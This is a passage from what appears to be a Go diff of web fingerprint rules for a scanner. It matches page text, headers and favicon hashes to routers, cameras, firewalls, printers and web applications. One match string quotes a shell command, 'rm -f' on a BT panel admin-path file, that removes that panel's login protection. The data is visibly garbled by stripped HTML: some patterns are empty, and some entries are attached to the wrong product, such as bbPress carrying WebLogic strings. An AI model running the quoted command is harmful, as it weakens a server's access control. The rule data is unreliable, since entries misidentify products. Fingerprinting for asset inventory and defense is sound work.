rt-ac55uhp)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC55UHP", "header", "", InStr{"", "(rt-ac55uhp)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC58U", "body", "", InStr{"(
rt-ac58u)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC59U", "body", "", InStr{"(class=\"prod_madelname\">rt-ac59u)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC66R", "body", "", InStr{"(
rt-ac66r|class=\"prod_madelname\" style=\"margin-left:78px;\">rt-ac66r
)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC66R", "header", "", InStr{"", "(rt-ac66r)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC66U_B1", "body", "", InStr{"(
rt-ac66u_b1|var product_name='rt-ac66u_b1'|class=\"prod_madelname\">jrs eco 100 on asus rt-ac66u_b1|rt-ac66u_b1)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC66U_B1", "header", "", InStr{"", "(realm=\"rt-ac66u_b1)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC66U", "body", "", InStr{"(class=\"prod_madelname\" style=\"margin-left:78px;\">rt-ac66u|prod_madelname\">rt-ac66u)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC66U", "body", "", InStr{"(class=\"prod_madelname\" style=\"margin-left:78px;\">rt-ac66u)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC66U", "header", "", InStr{"", "(rt-ac66u)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC68P", "body", "", InStr{"(
rt-ac68p)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC68P", "header", "", InStr{"", "(rt-ac68p)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC68U", "body", "", InStr{"(var product_name='rt-ac68u'|capture(status_router.sys_model)
asus rt-ac68u|capture(status_router.sys_model)
asus rt-ac68u |
rt-ac68u|class=\"prod_madelname\">jrs eco 100 on asus rt-ac68u
|class=\"prod_madelname\" style=\"margin-left:78px;\">rt-ac68u|var mmc = {|asus rt-ac68u)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC68U", "header", "", InStr{"", "(rt-ac68u)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC86U", "body", "", InStr{"(
rt-ac86u)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC87R", "body", "", InStr{"(
rt-ac87r|class=\"prod_madelname\" style=\"margin-left:78px;\">rt-ac87r|var product_name='rt-ac87r')", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC87R", "header", "", InStr{"", "(rt-ac87r)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC88U", "body", "", InStr{"(
rt-ac88u)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC88U", "header", "", InStr{"", "(realm=\"asusrt-ac88u)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-ACRH13", "body", "", InStr{"(
rt-acrh13)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-ACRH17", "body", "", InStr{"(
rt-acrh17)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AX88U", "body", "", InStr{"(
rt-ax88u
|var product_name='rt-ax88u'|\"model_name\":\"rt-ax88u\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AX88U", "header", "", InStr{"", "(realm=\"rt-ax88u)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AX92U", "body", "", InStr{"(
rt-ax92u)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-N10U2", "header", "", InStr{"", "(realm=\"rt-n10u2)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-N10U", "body", "", InStr{"(
rt-n10u)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-N10U", "header", "", InStr{"", "(asus rt-n10u|asus_rt-n10u)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-N12HP_B1", "body", "", InStr{"(
rt-n12hp_b1|class=\"prod_madelname\" style=\"margin-left:78px;\">rt-n12hp_b1)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-N12HP_B1", "header", "", InStr{"", "(rt-n12hp_b1)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-N56U", "body", "", InStr{"(
rt-n56u|class=\"prod_madelname\" style=\"margin-left:78px;\">rt-n56u|var product_name='rt-n56u')", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-N56U", "header", "", InStr{"", "(realm=\"rt-n56u)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-N66R", "body", "", InStr{"(
rt-n66r|class=\"prod_madelname\" style=\"margin-left:78px;\">rt-n66r)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-N66R", "header", "", InStr{"", "(realm=\"rt-n66r)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-N66U", "body", "", InStr{"(
rt-n66u|capture(status_router.sys_model)
asus rt-n66u |capture(status_router.sys_model)
asus rt-n66u|class=\"prod_madelname\" style=\"margin-left:78px;\">rt-n66u)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-N66U", "header", "", InStr{"", "(rt-n66u|asus rt-n66u )", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-TUF-AX3000", "body", "", InStr{"(document.getelementsbyclassname(\"model-name\")[0].innerhtml = \"tuf-ax3000\"|class=\"prod_madelname\">tuf-ax3000
)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-ZenWiFi-AX", "body", "", InStr{"(class=\"prod_madelname\">zenwifi ax)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AtBrain-Camera-Streaming", "header", "", InStr{"", "(realm=\"atbrain camera-streaming)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Aten-Company's-product", "body", "", InStr{"(application enablement services )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Avaya-Aura-Utility-Server", "body", "", InStr{"(vmstitle\">avaya aura™ utility server|/webhelp/base/utility_toc.htm|avaya aura® utility services|avaya inc. all rights reserved)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Avaya-Communication-Manager", "body", "", InStr{"(var newlocation = \"https://\" + target + \"/cgi-bin/common/issue\";)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Avaya-IP-Office", "body", "", InStr{"(action=\"/login/index.php?st=11&lng=)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Avaya-IP-Office", "header", "", InStr{"", "(ipoffice)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Avaya-Media-Server", "body", "", InStr{"(src=\"/emlogin/)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Avaya-Secure-Router", "body", "", InStr{"(about avaya secure router|avaya secure router)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Avaya-Secure-Router", "header", "", InStr{"", "(server: avaya http server)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Avaya-System-Platform", "body", "", InStr{"(content=\"0;url=vsplogin.action)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AVCON6", "body", "", InStr{"(filename=avcon6setup.exe|language_dispose.action)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AVCON-Video-On-Demand-platform", "body", "", InStr{"(what's next?

|aws.amazon.com/elasticbeanstalk)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AWStats", "body", "", InStr{"(generator\" content=\"awstats|created by awstats )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Axel-Device", "header", "", InStr{"", "(server: axel admin server)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Axentra-HipServ", "body", "", InStr{"(content=\"axentra)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Axentra-HipServ", "header", "", InStr{"", "(x-axentra-version)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AXES-TMC-X1-or-X2-Terminal", "ico", "", InStr{"", "", "(7b345857204926b62951670cd17a08b7)"}, ReqHttp{"", "", nil, ""}}, + {1, "AxgateSSLVPN", "body", "", InStr{"(class=\"axgate\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AXGATE-UTM", "body", "", InStr{"(class=\"axgate\" ng-controller=\"logincontroller\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Axigen-Mail-Server", "header", "", InStr{"", "(axigen-webmail)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "axigen-Webadmin", "body", "", InStr{"(
axigen webadmin
)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AXIMCom-Product", "body", "", InStr{"(href='style/axim/table.css')", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Axis2-Web", "body", "", InStr{"(axis2-web/css/axis-style.css)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Axis-Cameras-and-Surveillance", "body", "", InStr{"(|content=\"axis communications ab)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Axis-Network-Camera", "body", "", InStr{"(/incl/trash.shtml|src=\"/incl/axis_connection.js|/axis-media/media.amp?)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Axis-PrintServer", "body", "", InStr{"(psb_printjobs.gif|/cgi-bin/prodhelp?prod=)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "axTLS-Embad-Httpd", "header", "", InStr{"", "(server: axhttpd)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Axway-SecureTransport", "header", "", InStr{"", "(securetransport)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "axyl", "ico", "", InStr{"", "", "(7513f4cf4802f546518f26ab5cfa1cad)"}, ReqHttp{"", "", nil, ""}}, + {1, "Aztech-D140W", "header", "", InStr{"", "(realm=\"az-d140w)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Azure-ARR", "header", "", InStr{"", "(arraffinity)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Azure", "header", "", InStr{"", "(azure-webrole-instance-id)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "B2BBuilder", "body", "", InStr{"(content=\"b2bbuilder|translatebuttonid = \"b2bbuilder)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "b2evolution", "body|ico", "", InStr{"(/powered-by-b2evolution-150t.gif|powered by b2evolution|content=\"b2evolution)", "", "(de68f0ad7b37001b8241bce3887593c7)"}, ReqHttp{"", "", nil, ""}}, + {1, "BackBee", "body", "", InStr{"(
)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Backbone", "body", "", InStr{"(new backbone.model()|backbone-validation-min.js|backbone.js)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BackupPC", "body|header", "", InStr{"(/backuppc/image/logo.gif|/index.cgi?action=editconfig)", "(backuppc_admin)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BACnet/IP-to-Web-Services-Gateway", "header", "", InStr{"", "(server: cimetrics eplus web server )", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bad-debt-management-system", "body", "", InStr{"(登录密码错误次数超过5次,帐号被锁定。请联系省坏账系统管理员,或发邮件解锁)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Baiding-OA", "body", "", InStr{"(onload=\"javascript:form1.txtusername.focus)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Baidu-Anquanbao", "header", "", InStr{"", "(x-powered-by-anquanbao)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Baidu-CDN", "body|header", "or", InStr{"(apps.bdimg.com|libs.baidu.com)", "(apps.bdimg.com|libs.baidu.com)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Baidu-jiasule", "body", "", InStr{"(notice-jiasule|static.jiasule.com/static/js/http_error.js)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Baidu-Subaidu", "body", "", InStr{"(data-orig-ref=\"su.baidu.com|id=\"yunjiasu_link)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BaiShiJia-CMS", "body", "", InStr{"(/resource/images/cms.ico)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "bamboocloud-BIM", "body", "", InStr{"(bim 开发配置与运维控制台)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bandwidth-Management-Gateway", "header", "", InStr{"", "(realm=\"bandwidth management gateway )", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Banggoo-ADC", "body", "", InStr{"(content=\"banggoo adc |欢迎登录banggoo adc管理界面
)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BangYong-PM2", "body", "", InStr{"(pm2项目管理系统bs版增强工具.zip)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BangYong-PM2", "header", "", InStr{"", "(accid=1001)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Barracuda-Backup-Server", "header", "", InStr{"", "(backup_local_locale)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Barracuda-Device", "header", "", InStr{"", "(barracudahttp)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Barracuda-LoadBalancer", "header", "", InStr{"", "(barracuda_lb_cookie|bni_persistence=)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Barracuda-NG-Firewall", "header", "", InStr{"", "(barracuda ng firewall)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Barracuda-Spam-Firewall", "body", "", InStr{"(/barracuda.css|http://www.barracudanetworks.com?a=bsf_product)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Barracuda Spam/Virus firewall appliance", "ico", "", InStr{"", "", "(de2b6edbf7930f5dd0ffe0528b2bbcf4)"}, ReqHttp{"", "", nil, ""}}, + {1, "Barracuda-WAF", "header", "", InStr{"", "(bni__barracuda_lb_cookie=)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BASE-Security", "body", "", InStr{"(|mailto:base@secureideas.net)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Basic-PHP-Events-Lister", "body", "", InStr{"(powered by: )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Basler", "body", "", InStr{"(basler ag)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "bbPress", "body", "", InStr{"(|is proudly powered by bea weblogic server|weblogic server|

welcome to weblogic application|

bea weblogic server)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Beehive Forum 1.x", "ico", "", InStr{"", "", "(f51425ace97f807fe5840c4382580fd5)"}, ReqHttp{"", "", nil, ""}}, + {1, "BeeS-CMS", "body", "", InStr{"(powerd by|beescms|template/default/images/slides.min.jquery.js|/default/images/xslider.js|/default/images/search_btn.gif|powerd by beescms|mx_form/mx_form.php)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "beijinghuayu-SafeGateway", "body", "", InStr{"(copy_right = {cn : \"\", en |var opzoon_ver)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Belkin-G-Wireless-Router", "body", "", InStr{"(src=\"setup_top.htm\"|def_pg=\"status.stm\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Belkin-N150", "body", "", InStr{"(src=\"setup_top.htm\"|src=\"status.stm\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BenSSL", "header", "", InStr{"", "(ben-ssl)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bentley-Systems-ProjectWise", "body", "", InStr{"(href=\"projectwise.ico)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bentley-Systems-ProjectWise", "header", "", InStr{"", "(bentley.websession=)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bestsch-Ecs", "body", "", InStr{"(/userfiles/admin/customskin|src=\"/include/ecsserverapi.js)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Betasoft-PDM-Data-Acquisition", "body", "", InStr{"(align=\"center\" class=\"login_pdm\">|background: no-repeat url(../images/login/pdmdenglu1_28.png);)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "beyeon-IOT", "body", "", InStr{"(版权所有:郑州蓝视科技有限公司|var app_smp_type_name = '门店';var app_grp_type_name = '集团')", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BH-BH5000C", "body", "", InStr{"(bhclientcer:\"/modules/web/common/data/bhclient.cer)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bicesoft-Super-Custom-Survey-Voting-System", "body", "", InStr{"(href=\"images/bicesoft.css\"|佰思超强自定义问卷调查系统(bicesoft.com))", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "biept-System", "body", "", InStr{"(class=\"loginin loginin1\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BigDump", "body", "", InStr{"(bigdump: staggered mysql dump importer)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BiHaiYunHe-Router", "body", "", InStr{"(src=\"lib/ext-lang-zh_cn.js\"|

欢迎登录碧海云盒

)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BillingTestTool", "body", "", InStr{"(href:'/billtool/querysum')", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Billion-Router", "header", "", InStr{"", "(billion sky|basic realm=\"webadmin)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BinarySec-Cloud-Defense", "header", "", InStr{"", "(x-binarysec|x-binarysec-nocache)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BinarySec-Firewall", "header", "", InStr{"", "(x-binarysec)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bio-LIMS", "body", "", InStr{"(/lims/js/login.js|/lims/dist/css/font-awesome.min.css)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Biscom-Delivery-Server", "body|ico", "", InStr{"(/bds/stylesheets/fds.css|/bds/includes/fdsjavascript.do)", "", "(eb05f77bf80d66f0db6b1f682ff08bee)"}, ReqHttp{"", "", nil, ""}}, + {1, "Bitbucket", "body", "", InStr{"(/j_atl_security_check|bitbucket.page.login)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "bithighway-Product", "body", "", InStr{"(href='http://www.bithighway.com' target=_blank>北京碧海威科技有限公司<)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BitKeeper", "header", "", InStr{"", "(server: bkhttp)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BITMAIN-antminer", "header", "", InStr{"", "(realm=\"antminer)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bitnami", "body", "", InStr{"(\"Bitnami\"|

Thanks for using Bitnami!

)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bitnami-Redmine-Stack", "body", "", InStr{"(alt=\"bitnami redmine stack)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bitrix-Site-Manager", "body", "", InStr{"(bitrix_sm_time_zone|bx.setcsslist)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bitrix-Site-Manager", "header", "", InStr{"", "(x-powered-cms: bitrix site manager|policyref=\"/bitrix/p3p.xml)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bit-Service", "body", "", InStr{"(xmlpzs/webissue.asp)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bitweaver", "ico", "", InStr{"", "", "(1a9a1ec2b8817a2f951c9f1793c9bc54)"}, ReqHttp{"", "", nil, ""}}, + {1, "BJB-EDSIP", "body", "", InStr{"(content=\"同辉eds多媒体信息发布系统)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "bjca", "body", "", InStr{"(
  • 下载证书应用环境
  • )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "bjkelian-Device", "body", "", InStr{"(hw_type=\"imx100ag)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "bjqit-CRM", "body", "", InStr{"(href=/css/ordercomplaint)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Blackboard", "header", "", InStr{"", "(x-blackboard-product|x-blackboard-appserver)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BlackJumboDog", "header", "", InStr{"", "(server: blackjumbodog)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Blazix", "header", "", InStr{"", "(server: blazix java server)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "B_LINK-APRouter", "header", "", InStr{"", "(realm=\"b-link-aprouter)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "B_LINK-Home-Gateway", "header", "", InStr{"", "(realm=\"b-link home gateway)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BlogEngineNET", "body", "", InStr{"(pics/blogengine.ico|http://www.dotnetblogengine.net)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Blogger", "body", "", InStr{"(content='blogger|powered by blogger)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BlueCoat-PacketShaper", "header", "", InStr{"", "(pscfgstr=)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BlueCoat-ProxySG", "header", "", InStr{"", "(bluecoat internet proxy)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bluedon-Firewall", "body", "", InStr{"(class=\"banquan\">蓝盾信息安全技术股份有限公司)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bluedon-WebGuard-Tamper-Resistance", "body", "", InStr{"(background: url(images/loginbg.jpg) #e5f1fc)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BlueDragon", "header", "", InStr{"", "(bluedragon)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BlueNet-Video", "body", "", InStr{"(/cgi-bin/client_execute.cgi?tud=0)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BlueOnyx", "body", "", InStr{"(thank you for using the blueonyx)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BlueQuartz", "body", "", InStr{"(value=\"copyright (c) 2000, cobalt networks)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bluetrum-CDN", "header", "", InStr{"", "(powered-by-chinacache)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "bmpx", "ico", "", InStr{"", "", "(140e3eb3e173bfb8d15778a578a213aa)"}, ReqHttp{"", "", nil, ""}}, + {1, "BMU", "body", "", InStr{"(版本: espace ecs)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "boastMachine", "body", "", InStr{"(powered by boastmachine|powered by aec |color=\"#1b528c\" >robert bosch gmbh reserves all rights)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bosch-DiBos", "body", "", InStr{"(style/bovisnt.css)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BOSCH-DIVAR-IP-3000", "body", "", InStr{"(vrmchunk.sethelpname('vrm_monitor'))", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BOSCH-DIVAR-IP", "body", "", InStr{"(vrmchunk.sethelpname('vrm_monitor')|the requested url '/' was not found on the divar)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bosch-SPS", "body", "", InStr{"(miccomp[0][1] ==|src='inner_frmset.html'>|bosch security systems. all rights reserved.)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BossMail", "body", "", InStr{"(powered by bossmail|href=\"http://apps.microsoft.com/windows/zh-cn/app/bossmail/24f4bdb3-1bca-467e-9dd9-15a5d278aec6)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BoWen-Providence-Car-Loading-Reservation-System", "body", "", InStr{"(/public/base/js/plugins/crypto/rsa.js)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "boxiao-System", "body", "", InStr{"(var bxnstaticresroot='/bxn-static-resource/resources')", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BrewBlogger", "body", "", InStr{"(developed by )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Broadband-Router", "header", "", InStr{"", "(realm=\"broadband router)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BROADCOM-CA-PAM", "body", "", InStr{"(ispamclient = false|/cspm/cleansession.jsp)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Broadcom-Home-Gateway", "header", "", InStr{"", "(realm=\"broadcom home gateway)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BROADLIGHT-Residential-Gateway", "body", "", InStr{"(brg management)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BroadWin-WebAccess", "body", "", InStr{"()", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BroadWin-WebAccess", "header", "", InStr{"", "(/broadweb/bwroot.asp?username=)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Brocade-Data-Angle-Guard-Database", "body", "", InStr{"(window.location.host + \"/agweb\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Brocade-Network-Advisor", "body", "", InStr{"(about network advisor)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Brocade-Switch", "body", "", InStr{"(originalurl=\"/switchexplorer.html\"|com.brocade.web.secsan.loginapplet)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "brother-8510DN", "body", "", InStr{"(id=\"modelname\">

    mfc-8510dn)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Brother-Printer", "body", "", InStr{"(|href=\"http://www.bt.cn/bbs/thread-1172-1-1.html|宝塔linux面板|src=\"/static/js/validform_v5.3.2_min.js|请使用正确的入口登录面板|rm -f /www/server/panel/data/admin_path.pl|宝塔(.*)面板)", "(set-cookie: bt_panel=|Set-Cookie: BT_COLL=)", "(9637ebd168435de51fea8193d2d89e39)"}, ReqHttp{"", "", nil, ""}}, + {1, "Buffalo-TeraStation", "body", "", InStr{"(value=\"view terastation manual|value=\"terastation handbuch lesen)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BugFree", "body", "", InStr{"(id=\"logo\" alt=bugfree|class=\"loginbgimage\" alt=\"bugfree|name=\"buguserpwd)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BugScan", "body", "", InStr{"(bugscan memos|powered by bugscan)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BugTracker.NET", "body", "", InStr{"(href=\"btnet.css|valign=middle>|)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Byzoro-Security-gateway", "body", "", InStr{"( patrolflow 多业务安全网关)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Byzoro-Smart", "body", "", InStr{"(smart s150 系统登录)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Cable/DSL-Router", "header", "", InStr{"", "(realm=\"cable/dsl router)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Cachecloud", "body", "", InStr{"(alert(\"系统不存在该用户名,请确认该用户申请了cachecloud权限!\");)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Cacti", "body", "", InStr{"(/plugins/jqueryskin/include/login.css)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Cacti", "header", "", InStr{"", "(set-cookie: cacti=|cacti access)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "cacti", "ico", "", InStr{"", "", "(4f12cccd3c42a4a478f067337fe92794)"}, ReqHttp{"", "", nil, ""}}, + {1, "CaiMore-Gateway", "header", "", InStr{"", "(realm=\"caimore gateway|realm=\"caimore)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "CakePHP", "header", "", InStr{"", "(cakephp=)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "cakephp", "ico", "", InStr{"", "", "(66b3119d379aee26ba668fef49188dd3)"}, ReqHttp{"", "", nil, ""}}, + {1, "CakePHP", "ico", "", InStr{"", "", "(c0533ae5d0ed638ba3fb3485d8250a28)"}, ReqHttp{"", "", nil, ""}}, + {1, "CalendarScript", "body", "", InStr{"(powered by canon ip5200r)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-iP7200-series", "body", "", InStr{"(nowrap>canon ip7200 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-iX6800-series", "body", "", InStr{"(nowrap>canon ix6800 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-iX7000-series", "body", "", InStr{"(nowrap>canon ix7000 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MF4500-Series", "body", "", InStr{"(mf4500 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MF4500w-Series", "body", "", InStr{"(mf4500w series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MG3100-series", "body", "", InStr{"(nowrap>canon mg3100 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MG3200-series", "body", "", InStr{"(nowrap>canon mg3200 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MG3500-series", "body", "", InStr{"(nowrap>canon mg3500 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MG4100-series", "body", "", InStr{"(nowrap>canon mg4100 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MG4200-series", "body", "", InStr{"(nowrap>canon mg4200 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MG5200-series", "body", "", InStr{"(nowrap>canon mg5200 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MG5300-series", "body", "", InStr{"(nowrap>canon mg5300 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, 